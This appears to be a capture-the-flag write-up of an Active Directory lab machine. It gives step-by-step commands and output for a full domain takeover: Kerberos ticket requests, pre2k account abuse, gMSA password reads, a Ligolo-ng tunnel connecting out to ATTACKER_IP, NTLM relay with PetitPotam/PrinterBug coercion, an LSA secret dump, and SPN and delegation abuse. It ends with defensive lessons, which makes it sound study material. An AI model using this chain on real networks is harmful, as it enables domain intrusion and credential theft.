Nmap reveals a standard Windows Domain Controller with an additional HTTP service on port 80 and HTTPS on 443.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 126 Microsoft IIS httpd 10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
389/tcp open ldap syn-ack ttl 127 Microsoft Windows AD LDAP
443/tcp open https? syn-ack ttl 126
445/tcp open microsoft-ds? syn-ack
Host: DC01; Domain: pirate.htb
echo "TARGET_IP dc01.pirate.htb pirate.htb dc01" | sudo tee -a /etc/hostsNotePorts 80 (IIS) and 443 (HTTPS) are unusual for a standard DC. WEB01 likely hosts the web application while DC01 proxies or fronts it.
The box ships with default credentials: pentest:p3nt3st2025!&.
Attempting SMB or LDAP authentication with NTLM fails silently — the domain controller has NTLM authentication disabled. All authentication must use Kerberos.
nxc ldap dc01 -u pentest -p 'p3nt3st2025!&'
nxc smb dc01 -u pentest -p 'p3nt3st2025!&'Both commands produce no output — the DC rejects NTLM. Convert the password to a Kerberos ticket using Impacket's getTGT.py:
getTGT.py 'pirate.htb/pentest:p3nt3st2025!&' -dc-ip 10.129.171.79[*] Saving ticket in pentest.ccache
export KRB5CCNAME=pentest.ccache
klistTicket cache: FILE:pentest.ccache
Default principal: pentest@PIRATE.HTB
Valid starting Expires Service principal
06/03/2026 02:11:56 06/03/2026 12:11:56 krbtgt/PIRATE.HTB@PIRATE.HTB
Now validate access using Kerberos authentication:
nxc smb dc01 -k --use-kcache --sharesShare Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
Standard shares only — no unusual access yet. SMB spidering also turns up nothing interesting.
Running rusthound-ce with Kerberos requires a proper krb5.conf. Generate one using nxc:
nxc smb dc01 -k --use-kcache --generate-krb5-file pirate.krb5.conf
export KRB5_CONFIG=pirate.krb5.confrusthound-ce -u 'pentest@pirate.htb' -k -c All -z \
--domain pirate.htb -f dc01.pirate.htb
As expected, pentest is a low-privilege domain user. No dangerous ACLs or group memberships.

The eventual target is a.white_adm — an account that has a path to domain compromise.

The pentest user is a member of Pre-Windows 2000 Compatible Access, which has visibility into pre-created computer accounts. These are machine accounts created during domain prep that may have default or empty passwords.
During Active Directory domain preparation or large-scale deployments, administrators sometimes pre-create machine accounts with weak or empty passwords. These accounts are added to the domain before the actual machines join, and if never properly secured, they remain usable for authentication.
The nxc pre2k module enumerates and exploits these accounts:
nxc ldap dc01 -k --use-kcache -M pre2kPRE2K Pre-created computer account: MS01$
PRE2K Pre-created computer account: EXCH01$
PRE2K [+] Found 2 pre-created computer accounts.
PRE2K [+] Successfully obtained TGT for ms01@PIRATE.HTB
PRE2K [+] Successfully obtained TGT for exch01@PIRATE.HTB
Two pre-created accounts recovered: MS01$ and EXCH01$. The module automatically obtains TGTs for both.
BloodHound shows that MS01$ can read the password of two Group Managed Service Accounts:
gMSA_ADFS_prod$gMSA_ADCS_prod$Read their NTLM hashes using bloodyAD:
bloodyAD --host dc01.pirate.htb -d pirate.htb -u ms01 -k \
get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPasswordmsDS-ManagedPassword.NT: 76754c94319e3a7dc07ba09aa79028ee
bloodyAD --host dc01.pirate.htb -d pirate.htb -u ms01 -k \
get object 'gMSA_ADCS_prod$' --attr msDS-ManagedPasswordmsDS-ManagedPassword.NT: 2b8849da91d5206b9d1d1dcb44467089
Both accounts are members of Remote Management Users, granting WinRM access to DC01.
gMSA_ADCS_prod$ — Pivot Discoverynxc winrm dc01 -u 'gMSA_ADCS_prod$' -H 2b8849da91d5206b9d1d1dcb44467089WINRM dc01 5985 DC01 [+] pirate.htb\gMSA_ADCS_prod$ (Pwn3d!)
evil-winrm -i dc01 -u 'gMSA_ADCS_prod$' -H 2b8849da91d5206b9d1d1dcb44467089Running ipconfig reveals another dual-NIC setup:
Ethernet adapter vEthernet (Switch01):
IPv4 Address: 192.168.100.1/24 ← Internal network
Ethernet adapter Ethernet0 2:
IPv4 Address: 10.129.244.95/16 ← Public network
DC01 has an interface on 192.168.100.0/24. Time to pivot and enumerate.
Upload the Ligolo-ng agent and establish a tunnel:
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> upload win_x64.exe
*Evil-WinRM* PS C:\Users\gMSA_ADCS_prod$\Documents> .\win_x64.exe -connect ATTACKER_IP:11601 -ignore-certOn the attacker:
sudo ligolo-ng -selfcert
ligolo-ng » session
? Select a session: 1
[Agent] » autoroute
? Select routes to add: 192.168.100.1/24
? Start the tunnel? Yesnxc smb 192.168.100.0/24SMB 192.168.100.2 445 WEB01 Windows Server 2019 Build 17763 x64
SMB 192.168.100.1 445 DC01 Windows Server 2019 Build 17763 x64
A critical misconfiguration is visible in the SMB signing settings:
nxc smb web01SMB WEB01 signing:False (domain:pirate.htb)
WEB01 has SMB signing disabled. Combined with DC01's LDAP signing:None and channel binding:Never, this enables an NTLM relay attack with delegation:
sequenceDiagram
participant A as Attacker
participant W as WEB01 (signing:False)
participant D as DC01 (LDAP signing:None)
A->>W: Coerce (PetitPotam/PrinterBug)
W-->>A: NTLM authentication
A->>D: Relay NTLM to LDAP
D->>A: Create computer account + RBCD
Note over A: VHUFTZAO$ created<br/>Delegation on WEB01 granted# Terminal 1: Start the relay
ntlmrelayx.py -t ldap://DC01 --remove-mic -smb2support --delegate-access[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.244.95
[*] (SMB): Authenticating from PIRATE/WEB01$ against ldap://DC01 SUCCEED
[*] Adding new computer with username: VHUFTZAO$ password: He!Le!aEmoJK6_G
[*] Delegation rights modified successfully!
[*] VHUFTZAO$ can now impersonate users on WEB01$ via S4U2Proxy
NoteThe
--remove-micflag is required when the LDAP server doesn't enforce Extended Protection for Authentication (EPA). It leverages CVE-2019-1040 (aka the "Drop the MIC" vulnerability) to strip the Message Integrity Code from NTLM authentication, allowing the relayed authentication to succeed. Most default Windows Server configurations are vulnerable to this.
# Terminal 2: Coerce WEB01 using the ADFS gMSA
nxc smb 192.168.100.2 -u 'gMSA_ADFS_prod$' \
-H 76754c94319e3a7dc07ba09aa79028ee -M coerce_plus \
-o L=ATTACKER_IPCOERCE_PLUS WEB01 VULNERABLE, PetitPotam
COERCE_PLUS WEB01 Exploit Success, efsrpc\EfsRpcAddUsersToFile
COERCE_PLUS WEB01 VULNERABLE, PrinterBug
COERCE_PLUS WEB01 Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
The coercion triggers WEB01 to authenticate to our relay. The relay forwards this to DC01's LDAP, which creates a new computer account (VHUFTZAO$) and configures RBCD allowing it to impersonate any user on WEB01.
With the RBCD delegation in place, request a CIFS service ticket as Administrator:
getST.py -spn 'CIFS/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/VHUFTZAO$:He!Le!aEmoJK6_G'[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_WEB01.pirate.htb@PIRATE.HTB.ccache
export KRB5CCNAME=Administrator@CIFS_WEB01.pirate.htb@PIRATE.HTB.ccache
nxc smb web01 -k --use-kcache --sam
nxc smb web01 -k --use-kcache --lsaThe LSA dump reveals a plaintext password:
PIRATE\a.white:E2nvAOKSz5Xz2MJu
This is the critical find — a.white's plaintext password recovered from WEB01's LSA secrets.
a.white_admBloodHound indicated earlier that a.white has ForceChangePassword on a.white_adm. Exploit this immediately:
bloodyAD --host dc01 -d pirate.htb -u 'a.white' \
-p 'E2nvAOKSz5Xz2MJu' set password 'a.white_adm' 'P@ssword1'[+] Password changed successfully!
a.white_adm has two critical privileges:
WEB01.pirate.htb (Constrained Delegation) — can request service tickets for WEB01 on behalf of any userDC01$ — can modify the ServicePrincipalName attribute of the Domain ControllerThese two together form a classic delegation abuse chain:
getST.py's -altservice to convert the service ticket from HTTP to CIFSbloodyAD --host dc01 -d pirate.htb -u 'a.white_adm' \
-p 'P@ssword1' get object 'a.white_adm' --attr msDS-AllowedToDelegateTomsDS-AllowedToDelegateTo: http/WEB01.pirate.htb; HTTP/WEB01
Confirmed — a.white_adm can delegate to http/WEB01.pirate.htb.
First, check what SPNs WEB01 already has:
addspn.py --clear -t 'WEB01$' \
-u "pirate.htb\a.white_adm" -p 'P@ssword1' 'dc01'servicePrincipalName: HTTP/WEB01
HTTP/WEB01.pirate.htbWEB01 already has HTTP/WEB01.pirate.htb registered as an SPN.
Now write that same SPN onto the DC01 computer object:
bloodyAD --host dc01 -d pirate.htb -u 'a.white_adm' \
-p 'P@ssword1' set object 'DC01$' \
servicePrincipalName -v 'HTTP/WEB01.pirate.htb'[+] DC01$'s servicePrincipalName has been updated
DC01$ now has the SPN HTTP/WEB01.pirate.htb. When we request a TGS for that SPN, the DC will issue it — but the ticket will actually be bound to DC01 because that's which machine object owns the SPN.
Use getST.py with -altservice to convert the HTTP ticket to a CIFS ticket for DC01:
getST.py -spn 'http/WEB01.pirate.htb' \
-altservice 'cifs/DC01.pirate.htb' \
-impersonate Administrator \
'pirate.htb/a.white_adm:P@ssword1' \
-dc-ip 10.129.244.95[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB
to cifs/DC01.pirate.htb@PIRATE.HTB
[*] Saving ticket in Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
klistDefault principal: Administrator@pirate.htb
Valid starting Expires Service principal
06/05/2026 09:07:57 06/05/2026 19:07:56 cifs/DC01.pirate.htb@PIRATE.HTB
nxc smb dc01 -k --use-kcache -x "type C:\Users\Administrator\Desktop\root.txt"SMB dc01 [+] pirate.htb\Administrator from ccache (Pwn3d!)
SMB dc01 [+] Executed command via wmiexec
a5531a7c7c887225c3188caa86696cbf
Domain compromised.
flowchart TD
subgraph Phase1["Initial Access"]
A[Default Credentials<br/>pentest] --> B[NTLM Disabled<br/>→ Kerberos only]
B --> C[getTGT.py → pentest.ccache]
C --> D[BloodHound + pre2k module]
end
subgraph Phase2["gMSA Recovery"]
E[Pre-created accounts<br/>MS01$ + EXCH01$] --> F[Read gMSA passwords<br/>ADCS_prod + ADFS_prod]
end
subgraph Phase3["Pivot to Internal"]
G[WinRM as gMSA_ADCS_prod$<br/>→ Dual NIC DC01]--> H[Ligolo-ng Tunnel<br/>192.168.100.0/24]
H --> I[Discover WEB01 at .2]
end
subgraph Phase4["RBCD on WEB01"]
J[WEB01: signing:False<br/>DC01 LDAP: signing:None] --> K[ntlmrelayx + coercion<br/>→ Create computer + RBCD]
K --> L[getST as Administrator<br/>on WEB01]
L --> M[Dump LSA → a.white password]
end
subgraph Phase5["Delegate to DC01"]
N[ForceChangePassword<br/>a.white → a.white_adm] --> O[WriteSPN: DC01$ →<br/>HTTP/WEB01.pirate.htb]
O --> P[Constrained Delegation<br/>as Administrator]
P --> Q[altservice: HTTP→CIFS<br/>cifs/DC01.pirate.htb]
end
Phase1 --> Phase2
Phase2 --> Phase3
Phase3 --> Phase4
Phase4 --> Phase5
Phase5 --> R["💀 Domain Admin<br/>cifs/DC01.pirate.htb"]Kerberos-only domains are becoming more common. When NTLM is disabled, tools like getTGT.py and proper krb5.conf configuration are essential. nxc --generate-krb5-file is a useful shortcut for generating the config.
Pre-created computer accounts (pre2k) are a frequently overlooked attack surface. These accounts are created during domain prep but often left with default credentials. The nxc pre2k module automates discovery and TGT extraction.
gMSA passwords can be read without the domain controller's krbtgt key. Any account with read access to msDS-ManagedPassword can retrieve the current NTLM hash of a gMSA. This makes gMSAs a high-value enumeration target.
SMB signing + LDAP channel binding misconfigurations enable relay-to-delegate attacks. WEB01 had signing disabled and DC01 had LDAP channel binding unset. Combined with coercion, this allows a full RBCD compromise without any credentials on the target machine.
WriteSPN on a Domain Controller is effectively game over. When combined with constrained delegation on any other account, modifying the DC's SPN enables cross-service S4U2Proxy abuse — turning an HTTP delegation ticket into a CIFS ticket for full filesystem access.
The -altservice flag in getST.py is an underrated feature. It transparently rewrites the service component of a Kerberos ticket, allowing a ticket for http/WEB01 to be used as cifs/DC01 when the SPN ownership and delegation chains align.